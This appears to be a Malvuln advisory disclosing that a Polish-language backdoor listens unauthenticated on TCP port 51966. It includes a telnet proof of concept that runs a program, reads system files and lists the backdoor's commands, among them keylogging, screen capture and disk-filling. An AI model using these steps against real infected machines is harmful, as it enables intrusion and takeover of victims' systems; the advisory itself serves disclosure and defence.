Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Cafeini.08.b Vulnerability: Missing Authentication Description: The backdoor is written in Polish and listens on TCP port 51966, anyone who can reach the infected system can telnet in and execute any commands leading to malware compromise. Type: PE32 MD5: 8225bb6b430d5cdf523c4d0cabbe5793 Vuln ID: MVID-2021-0086 Dropped files: Disclosure: 02/12/2021 Exploit/PoC: 1) Try execute calc.exe we get error in Polish. C:\Windows>EEXXEECC ccaalclc STATUS: nie moge uruchomic programu Translated from polish "I cannot run the program" But given the full path it works. C:\Windows>EEXXEECC cc::\\WWiindnodwowss\\syssytsetemm3322\\ccaallcc.e.exxee STATUS: program uruchomiony Translated "program running" 2) Read files. C:\Users\victim\Desktop>ttyyppee \\WWiinndodwowss\\syssytsetemm..iinini ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv 3) See help menu. C:\>hehlelpp BYE lub LOGOUT lub QUIT lub EXIT - wyjscie DIE - zabij serwer (usun z pamieci) HELPCONF- opis komend sluzacych konfiguracji serwera: AUTOFTPD,AUTOKILL, AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT. HELPDOS - opis komend w rodzaju MS-DOS/Linux: CAT,CD,CHDIR,CMD,CMDV,COPY, DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR, MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER. HELPFUN - opis komend sluzacych zabawie: ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD, ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE, MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER, SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP. HELPKEY - opis komend sterujacych klawiatura: KEYBOARDBEEP,LOGGEDCLEAR, LOGGEDKEYS,SENDKEYS,SENDLINE HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP, AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE, CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL. HELPSCR - opis komend sluzacych zabawie z ekranem (desktop): BLACKWHITE, DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION, SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT, MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM. HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie od WIN): AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST, KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE, RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).